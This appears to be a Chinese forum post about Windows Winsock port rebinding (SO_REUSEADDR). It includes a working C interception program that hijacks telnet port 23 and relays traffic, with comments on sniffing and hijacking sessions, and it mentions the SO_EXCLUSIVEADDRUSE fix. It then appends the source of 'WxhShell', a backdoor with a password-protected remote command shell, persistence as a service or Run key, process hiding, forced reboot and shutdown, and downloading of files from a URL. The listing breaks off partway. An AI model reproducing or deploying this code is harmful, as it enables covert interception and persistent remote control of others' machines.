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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !z1\ #|>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); unih"};ou  
Q5b9q$L$  
  saddr.sin_family = AF_INET; UqD ]@s`  
k1.%ZZMM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uBl&{$<  
oY+p;&H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 15S&,$ 1&  
J5(^VKj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .1}1e;f-  
wn;)La  
  这意味着什么?意味着可以进行如下的攻击: %Z p|1J'"  
 T  5F)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H,c`=Ii3  
Cs(sar:7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B 6z 'Q  
L6ap |u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ap8q`a{j^  
$ x:N/mMu`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^|SiqE  
@mJ~?d95v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $H)Q UFyC  
p="0Y<2l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8ok=&Gq4  
zO---}[9a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u>]3?ty`  
"X^<g{]  
  #include "g)V&Lx#X  
  #include B]H8^  
  #include E%DT;1  
  #include    5.*,IedY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0QT:@v2R  
  int main() yQ$]`hr;  
  { =@0J:"c  
  WORD wVersionRequested; 2l O(f+  
  DWORD ret; 7f}uRXBV$A  
  WSADATA wsaData; BM/o7%]n  
  BOOL val; aG83@ABx  
  SOCKADDR_IN saddr; XPU>} 4{  
  SOCKADDR_IN scaddr; pY@QR?F\  
  int err; 2QRO$NieV  
  SOCKET s; Q3(ulgl]  
  SOCKET sc; [{Jo(X  
  int caddsize; SAdE9L =d  
  HANDLE mt; +8C }%6aX  
  DWORD tid;   6^WNwe\  
  wVersionRequested = MAKEWORD( 2, 2 ); |$b8(g$s)  
  err = WSAStartup( wVersionRequested, &wsaData ); .wD $Bsm`t  
  if ( err != 0 ) { .whi0~i  
  printf("error!WSAStartup failed!\n"); 4`,7 tj  
  return -1; $TmEVC^ 0  
  } ",.f   
  saddr.sin_family = AF_INET; = V2Rq(jH  
   =`QYy-b X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @t~y9UfF  
mpug#i6q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ewU*5|*[  
  saddr.sin_port = htons(23); DPjs? M<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }q`9U!v  
  { fwv^dEe  
  printf("error!socket failed!\n"); tg@61V?>  
  return -1; )b #5rQ  
  } X7huc*  
  val = TRUE; "t&=~eOe3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <7VLUk}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pE&G]ZC  
  { &liON1GLM  
  printf("error!setsockopt failed!\n"); ]JjS$VMauX  
  return -1; }bv+^#  
  } |@iM(MM[?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hK3-j;eg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yws'}{8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tse#{  
d\JaYizp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #QoWneZ  
  { `FPQOa*%3  
  ret=GetLastError(); P+o"]/7U  
  printf("error!bind failed!\n"); &T,|?0>~=J  
  return -1; K9#kdo1 2  
  } x(TF4W=j  
  listen(s,2); KVa{;zBwl  
  while(1) X\h.@+f=  
  { fWmc$r5n](  
  caddsize = sizeof(scaddr); [t?tLUg|6  
  //接受连接请求 Vc(4d-d5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @& }}tALi  
  if(sc!=INVALID_SOCKET) tTy!o=  
  { u2oS Ci  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [f_^B U&  
  if(mt==NULL) lgaSIXDK  
  { YRlfU5  
  printf("Thread Creat Failed!\n"); Mp`$1Ksn  
  break; rkjnw@x\  
  } &s+l/;3  
  } uvbVb"\"Yk  
  CloseHandle(mt); r%.k,FzGZY  
  } W~ ~'  
  closesocket(s); 7 ~~ug  
  WSACleanup(); _"1RidhH  
  return 0; [<#j K}g  
  }   Op%OQ14$  
  DWORD WINAPI ClientThread(LPVOID lpParam) xJCx zJ  
  { tP@NQCo  
  SOCKET ss = (SOCKET)lpParam; i//H5D3  
  SOCKET sc; \ASt&'E  
  unsigned char buf[4096]; Y"mFUW4  
  SOCKADDR_IN saddr; I_r@Y:5{  
  long num; ]Lub.r  
  DWORD val; _eKO:Y[e  
  DWORD ret; pN[WYM?[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vh a9,5_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xsH1)  
  saddr.sin_family = AF_INET; M@cFcykK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kv| x -_7  
  saddr.sin_port = htons(23); 9lb?%UFe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1,fR kQ  
  { s* (a  
  printf("error!socket failed!\n"); 6$R9Y.s>Z  
  return -1; = -2~>B  
  } S~Gse+*  
  val = 100; FH=2, "A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3ay},3MCV%  
  { eN=jWUoCh  
  ret = GetLastError(); J~2SGXH)^?  
  return -1; 9hA`I tS  
  } hp~q!Q1=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !/}3/iU  
  { u_k[< &$  
  ret = GetLastError(); D~C'1C&W  
  return -1; jKq*@o~}  
  } (DiduSJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v6*0@/L M  
  { Ixa0;nxj  
  printf("error!socket connect failed!\n"); >jI.$%L$  
  closesocket(sc); C8-7XQ=B:b  
  closesocket(ss); O%EA ,5U.  
  return -1; 1@|+l!rYF  
  } +x2JC' -H  
  while(1) ]DNPG"  
  { ?9~^QRLT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `==l 2AX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &D<R;>iI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1wR[nBg*|  
  num = recv(ss,buf,4096,0); 4mvR]: G  
  if(num>0) 4m0^ N  
  send(sc,buf,num,0); 0>{ ]*  
  else if(num==0) }-oba_  
  break; ,';|CGI cP  
  num = recv(sc,buf,4096,0); YlrN^rO  
  if(num>0) l)NkTZ<]  
  send(ss,buf,num,0); :{%[6lE^G  
  else if(num==0) 11oNlgY&  
  break; '7?Y+R@|L  
  } 9B0ON*`  
  closesocket(ss); JN wI{  
  closesocket(sc); KsKE#])&l  
  return 0 ; R l ]x:  
  } H!IVbL`a{  
'n'>+W:  
c""&He4zp  
========================================================== ]RT  
\;&;K'   
下边附上一个代码,,WXhSHELL U`(=iyWP=  
b?}mQ!  
========================================================== a}y b~:TC  
gv`_+E{P  
#include "stdafx.h" e8vy29\S  
UePkSz9EU  
#include <stdio.h> (=!At)O  
#include <string.h> n6oOk nCna  
#include <windows.h> |]< 3cW+  
#include <winsock2.h> YmC}q20;  
#include <winsvc.h> [D~]  
#include <urlmon.h> >?@5>wF  
^77W#{Zs  
#pragma comment (lib, "Ws2_32.lib") a 8k2*u  
#pragma comment (lib, "urlmon.lib") H^-Y]{7  
 FSMM  
#define MAX_USER   100 // 最大客户端连接数 ~0p8joOH  
#define BUF_SOCK   200 // sock buffer E+/Nicn=  
#define KEY_BUFF   255 // 输入 buffer :H&Q!\a  
F=qILwd  
#define REBOOT     0   // 重启 9Vt ^q%DC  
#define SHUTDOWN   1   // 关机 o ]*yI[\  
6$b =Tr=0  
#define DEF_PORT   5000 // 监听端口 E*YmHJ:k  
j#//U2VdN  
#define REG_LEN     16   // 注册表键长度 0 PYYG  
#define SVC_LEN     80   // NT服务名长度 FDl/7P`b(  
@6 "MhF  
// 从dll定义API ?,$:~O* w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N?qETp-:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ')q0VaohC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0T`Qoo>u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *ak0(yLn)  
#f#6u2nF\  
// wxhshell配置信息 6y^ zC?  
struct WSCFG { 1J!v;Y\\  
  int ws_port;         // 监听端口 ~<_#%R!  
  char ws_passstr[REG_LEN]; // 口令 {"'M2w:|D1  
  int ws_autoins;       // 安装标记, 1=yes 0=no g@'XmT="_  
  char ws_regname[REG_LEN]; // 注册表键名 ?2"g*Bak  
  char ws_svcname[REG_LEN]; // 服务名 XCI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;T^s&/>E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =aVvv+T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #2^0z`-\_z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I">">  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WHC/'kvF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5,;\zSz  
Tt~4'{Bc  
}; ajycYk9<m  
z- q.8~Z  
// default Wxhshell configuration iM8Cw/DS  
struct WSCFG wscfg={DEF_PORT, Kl.*Q  
    "xuhuanlingzhe", Hdyl]q-(P  
    1, 9Z -2MF  
    "Wxhshell", ]C^ #)7  
    "Wxhshell", ;l%xjMcU  
            "WxhShell Service", Q b^{`  
    "Wrsky Windows CmdShell Service", 5 SQ!^1R 9  
    "Please Input Your Password: ", [7><^?t V  
  1, yq.@-]ytZ  
  "http://www.wrsky.com/wxhshell.exe", 2(d  
  "Wxhshell.exe" {e&fBX6;  
    }; c%5P|R~g]p  
c7+6[y DVE  
// 消息定义模块 o135Xh$_>'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B}04E^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V~PGmn[V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -+){;,  
char *msg_ws_ext="\n\rExit."; Ho(M O!(  
char *msg_ws_end="\n\rQuit."; p@78Xmu?q  
char *msg_ws_boot="\n\rReboot..."; .+>fD0fW7Y  
char *msg_ws_poff="\n\rShutdown..."; /'8%=$2Kw  
char *msg_ws_down="\n\rSave to "; ;*rGZ?%*  
i3 XtrP""  
char *msg_ws_err="\n\rErr!"; \:h7,[e  
char *msg_ws_ok="\n\rOK!"; 9(fh+  
r~=+>, _  
char ExeFile[MAX_PATH]; qdQ4%,E[  
int nUser = 0; 48,*sTRq  
HANDLE handles[MAX_USER]; PoZ$3V$(Lz  
int OsIsNt; MY{Kq;FvRP  
_*}D@yy&  
SERVICE_STATUS       serviceStatus; yuC"V'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r7VBz_Q  
F$>#P7ph\a  
// 函数声明 =0&XdxX  
int Install(void); #U0| j?!D  
int Uninstall(void); iOm&(2/  
int DownloadFile(char *sURL, SOCKET wsh); #HL$`&m  
int Boot(int flag); ;PVE= z+y  
void HideProc(void); At>e4t2@  
int GetOsVer(void); Z^]Oic/0Oa  
int Wxhshell(SOCKET wsl); R)d_0Ng  
void TalkWithClient(void *cs); 7/&taw%i  
int CmdShell(SOCKET sock); fBTNI`#  
int StartFromService(void); (M;d*gN r  
int StartWxhshell(LPSTR lpCmdLine); =?L16mu1&  
HziQ%QR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N]8/l:@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n<EIu  
n{|j#j  
// 数据结构和表定义 ?b d&Av  
SERVICE_TABLE_ENTRY DispatchTable[] = K4Ed]hX  
{ bPV}T`  
{wscfg.ws_svcname, NTServiceMain}, !]"M]tyv\  
{NULL, NULL} &: LE]w  
}; xNY&*jI  
GwgY{-|`  
// 自我安装 W;Dik%^tg  
int Install(void) DM6(8df(  
{ y2g)*T!m  
  char svExeFile[MAX_PATH]; b7'A5]X  
  HKEY key; aa]|  
  strcpy(svExeFile,ExeFile); REc90v2"  
1Xcj=I- 4  
// 如果是win9x系统,修改注册表设为自启动 1=_?Wg:   
if(!OsIsNt) { 'D+njxCk.A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q%s<y+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K.)Qr9V  
  RegCloseKey(key); 4D.h~X4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /L`qOr2E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /.mx\_$   
  RegCloseKey(key); L$Xkx03lz>  
  return 0; WYvcN8F  
    } \V j7%ph  
  } }!kvoV)]1  
} Ux);~P`/o  
else { J"eE9FLM  
FLumI-se!  
// 如果是NT以上系统,安装为系统服务  ^AwDZX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gf;B&MM6  
if (schSCManager!=0) 1b7Q-elG  
{ {- &wV  
  SC_HANDLE schService = CreateService F{&0(6^p!  
  ( /z1-4:^`A[  
  schSCManager, Q:b>1  
  wscfg.ws_svcname, 27JZwlzZ  
  wscfg.ws_svcdisp, V'N]u (^  
  SERVICE_ALL_ACCESS, +nFC&~q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1A7(s0J8 :  
  SERVICE_AUTO_START, E_xCRfw_i]  
  SERVICE_ERROR_NORMAL, 0#sf,ja>  
  svExeFile, UnTvot6~  
  NULL, Cj)*JZV G  
  NULL, r+k~%5Ff~  
  NULL, F{17K$y  
  NULL, `g'9)Xf4KT  
  NULL @vi;P ^1!  
  ); \S#![NC  
  if (schService!=0) (ap,3$ hS  
  { l5Q-M{w0x  
  CloseServiceHandle(schService); U7xQ 5lph  
  CloseServiceHandle(schSCManager); #"JtH"pF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dJ,,yA*  
  strcat(svExeFile,wscfg.ws_svcname); C/z0/mk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T;Ra/H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UTxqqcqEny  
  RegCloseKey(key); ftqeiZ 2  
  return 0; JW=P} h  
    } u85Uy yN  
  } "&TN}SBW  
  CloseServiceHandle(schSCManager); HqKD]1  
} &Ht5!zuW,  
} K1|xatx1V  
ARJ}h  
return 1; &n2dL->*#  
} -*0U&]T  
ujoJ6UOG  
// 自我卸载 =8 Jq'-da  
int Uninstall(void) uKpWb1(  
{ Ov~>* [  
  HKEY key; gY!#=?/S  
#s]`jdc  
if(!OsIsNt) { GPU,.s"&(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >0jg2vqt  
  RegDeleteValue(key,wscfg.ws_regname); (Q][d+} /  
  RegCloseKey(key); 47^R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]=T-C v=t  
  RegDeleteValue(key,wscfg.ws_regname); &-M}:'  
  RegCloseKey(key); }>~]q)]  
  return 0; r2xIbZ  
  } ^K J#dT  
} A+H8\ew2,  
} 9vDOSwU*  
else { (4q/LuP^d  
^%Y-~yB-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [h B$%i]\<  
if (schSCManager!=0) rzie_)a Y%  
{ =Sr<d|\O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jh%SenP_oP  
  if (schService!=0) 1K|F;p  
  { ]3 GO_tL  
  if(DeleteService(schService)!=0) { i-wWbZ-  
  CloseServiceHandle(schService); P =Q+VIP&  
  CloseServiceHandle(schSCManager);  yoe@]c=  
  return 0; "|&3z/AUh  
  } BL>~~  
  CloseServiceHandle(schService); W79.Nj2`  
  } @aFk|.6  
  CloseServiceHandle(schSCManager); jd5kkX8=  
} (s|WmSQ  
} |}YxxeAk  
hRB?NM  
return 1; Vz-q7*o $S  
} !L9]nO 'BL  
5"1wz  
// 从指定url下载文件 RZnmia  
int DownloadFile(char *sURL, SOCKET wsh) 87S,6Y  
{ %Q}(.h%M  
  HRESULT hr; y.8nzlkE{  
char seps[]= "/"; (5+g:mSfr  
char *token; a\,V>}e  
char *file; e~'z;% O~  
char myURL[MAX_PATH]; \C>vj+!cJ  
char myFILE[MAX_PATH]; p0CPeH  
#E\6:UnT  
strcpy(myURL,sURL); km^ZF<.@  
  token=strtok(myURL,seps); sc# EL~  
  while(token!=NULL) Y+$]N:\F\  
  { }?6;;d#  
    file=token; `@ ,Vbn^_  
  token=strtok(NULL,seps); %2\Pe 2Z  
  } !:esdJH  
\3K7)o^  
GetCurrentDirectory(MAX_PATH,myFILE); e$Yvy>I'tS  
strcat(myFILE, "\\"); /$\8?<Pc".  
strcat(myFILE, file); &IRM<A!8  
  send(wsh,myFILE,strlen(myFILE),0); c\ ZnGI\|  
send(wsh,"...",3,0); qJonzFp7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #CyqiOM\*  
  if(hr==S_OK) Q 9f5}  
return 0; )~nieQEZQ  
else 1#+|RL4o  
return 1; <*u^8lCA  
IBu\Sh-  
} 1L7^g*  
`pDTjJ  
// 系统电源模块 8s[1-l  
int Boot(int flag) a{JO8<dlm  
{ o#z$LT1dY  
  HANDLE hToken; BOy&3.h5?  
  TOKEN_PRIVILEGES tkp; 7D'D7=Z.  
>O~V#1 H  
  if(OsIsNt) { 0fUsERr1*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SlT>S1`rnG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OqF8KJnO;  
    tkp.PrivilegeCount = 1; bt.3#aj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sD{Wc%5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LH`2Y,E  
if(flag==REBOOT) { 4Xt`L"f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6zNWDUf  
  return 0; :kwDa a  
} C"s-ttP   
else { 4UzXTsjM7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \\Q){\S  
  return 0; Y}Y~?kE>M|  
} ^mC,Z+!  
  } =i Dd{$  
  else { BTG_c_ ?]e  
if(flag==REBOOT) { Zv-1*hhHf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ovXk~%_  
  return 0; Q0x?OL]A  
} =d:3]M^  
else { eT(X Ri0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & 2q<#b  
  return 0; |m@>AbR5dk  
} IX<9_q  
} rw gj]  
w8J8III\~  
return 1; WQD:~*C:  
} JV'aqnb.8\  
mieyL9*n7  
// win9x进程隐藏模块 \$ss  
void HideProc(void) C|3cQ{  
{ mh SknyqT  
{{gt>"D,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UTN[! 0[  
  if ( hKernel != NULL ) ~3f|-%Z  
  { y*US^HJOZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )N1iGJO)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nXI8`7D  
    FreeLibrary(hKernel); } _^ vvu  
  } ~ L>M-D4o  
&%qDi_UD  
return; |k%1mE(+=s  
} e+4Eiv  
TqfL Sm|  
// 获取操作系统版本 |GsMLY:0  
int GetOsVer(void) 83{P7PBQ;]  
{ LEOa=(mN\  
  OSVERSIONINFO winfo; 7y)Ar 8!D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]+B.=mO_  
  GetVersionEx(&winfo); ;'08-Et  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /;1O9HJa  
  return 1; aIrM-c8.O  
  else `8Ych@f]  
  return 0; Q6e7Z-8  
} X-,oL.:c  
o8hE.pf&  
// 客户端句柄模块 t*A[v  
int Wxhshell(SOCKET wsl) T{"Ur :p  
{ B'`25u_e<  
  SOCKET wsh; U?5lqq  
  struct sockaddr_in client; eMmNQRmH  
  DWORD myID; re}PpXRC  
m.! M#x2!  
  while(nUser<MAX_USER) / #rH18  
{ 3]9Rmx  
  int nSize=sizeof(client); yG7H>LF?8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !cM<&3/  
  if(wsh==INVALID_SOCKET) return 1; Yh fQ pe  
sK&kp=zu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |0}7/^  
if(handles[nUser]==0) ~K<h~TNP  
  closesocket(wsh); NqNU:_}  
else o^* :  
  nUser++; 'd&d"E[  
  } o|c6=77043  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jWi~Q o+  
|O oczYf  
  return 0; DLqH*U  
} /4c`[  
bR~(Ry`  
// 关闭 socket j2u'5kJ G  
void CloseIt(SOCKET wsh) @U1|?~M%s  
{ rwP)TJh"  
closesocket(wsh); R9 #ar{  
nUser--; #\QW <I#/  
ExitThread(0); ^" 54Q^SH  
} cRD;a?0/6s  
V&vG.HAT  
// 客户端请求句柄 ~ho,bwJM[T  
void TalkWithClient(void *cs) bn8maYUZ  
{ 3\ Mt+!1{  
"c]9Q%  
  SOCKET wsh=(SOCKET)cs; jl(D;JnF  
  char pwd[SVC_LEN]; b$fmU"%&|  
  char cmd[KEY_BUFF]; . _|=Btoo  
char chr[1]; CsycR@[  
int i,j; A%F8w'8(  
,Ww}xmq1H  
  while (nUser < MAX_USER) { a{^z= =  
'PY;  
if(wscfg.ws_passstr) { t=@d`s:R2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQ8{N:58DN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e@0|fB%2  
  //ZeroMemory(pwd,KEY_BUFF); ) xa )$u  
      i=0; oST)E5X;7  
  while(i<SVC_LEN) { R8u8jG(4  
'iZwM>l\  
  // 设置超时 SM RKEPwp&  
  fd_set FdRead; Xn%7{%;h  
  struct timeval TimeOut; |UWIV  
  FD_ZERO(&FdRead); |gP)lR  
  FD_SET(wsh,&FdRead); X=)L$Kd7  
  TimeOut.tv_sec=8; XE<5(  
  TimeOut.tv_usec=0; #t(/wa4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n/Fxjf0W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lqL5V"2Y  
I5l%X{u"N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji9o0YR  
  pwd=chr[0]; V'W*'wo   
  if(chr[0]==0xd || chr[0]==0xa) { Zn r4^i&(  
  pwd=0; (UjaL@G  
  break; U= f9b]Y  
  } JluA?B7E  
  i++; KO#kIM-  
    } m]MR\E5]By  
hOZTD0  
  // 如果是非法用户,关闭 socket *kK +Nvt8s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5~DKx7P!Z  
} UV}:3c6ZX  
.txtt?ZF2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NJr)f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SUMfebW5  
iZdl0;16[  
while(1) { SWI\;:k  
,~Xe#e M  
  ZeroMemory(cmd,KEY_BUFF); z,m3U(  
'h6G"=+  
      // 自动支持客户端 telnet标准   4 5.g;  
  j=0; >m1b/J3#  
  while(j<KEY_BUFF) { WeH_1$n5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hkb\ GcOj  
  cmd[j]=chr[0]; sB *dv06b0  
  if(chr[0]==0xa || chr[0]==0xd) { 4+ d(d  
  cmd[j]=0; z$%8'  
  break; (9aOET>GG  
  } !=.y[Db=  
  j++; yY UAH-  
    } ,{q#U3  
O ] !tK  
  // 下载文件 2RNee@!JJP  
  if(strstr(cmd,"http://")) { F{ vT^/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); db1ZNw  
  if(DownloadFile(cmd,wsh)) `{Oqb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }15&<s  
  else fI0"#i v}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {N{eOa<HA  
  } =*ErN  
  else { DpmAB.  
[|*7"Q(  
    switch(cmd[0]) { 6%6dzZ  
  o!+'< IQ'  
  // 帮助 BRu}"29  
  case '?': {  jMI30  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q Rr9|p{  
    break; $0$sDN6)x  
  } _8 K|2$X  
  // 安装 vYXhWqL~  
  case 'i': { OMjPC_  
    if(Install()) AtHkz|sl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TeZu*c  
    else 4j'rbbs/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }I}GA:~$%  
    break; hTv*4J&@|  
    } Ex_dqko  
  // 卸载 ak:f4dEd  
  case 'r': { .e3@fq  
    if(Uninstall()) pl,XS6mB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Q ~; @M  
    else  Y~^R^J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p*cI @  
    break; d<OdQvW.  
    } $d-yG553  
  // 显示 wxhshell 所在路径 o\it]B  
  case 'p': { _M7|:*  
    char svExeFile[MAX_PATH]; uInI{>  
    strcpy(svExeFile,"\n\r"); # 7d vT=  
      strcat(svExeFile,ExeFile); qPDRB.K|}  
        send(wsh,svExeFile,strlen(svExeFile),0); &l-d_dh  
    break; ^P [#YO  
    } &dw=jHt  
  // 重启 69ycP(  
  case 'b': { d,meKQ n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5\JV}  
    if(Boot(REBOOT)) 4C:dkaDq]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q-G8Fo%#,E  
    else { (<OmYnm  
    closesocket(wsh); U~7{q >  
    ExitThread(0); wLO"[,  
    } J- l[dC  
    break; w*@9:+  
    } l_2l/ff9  
  // 关机 BjjuZN&  
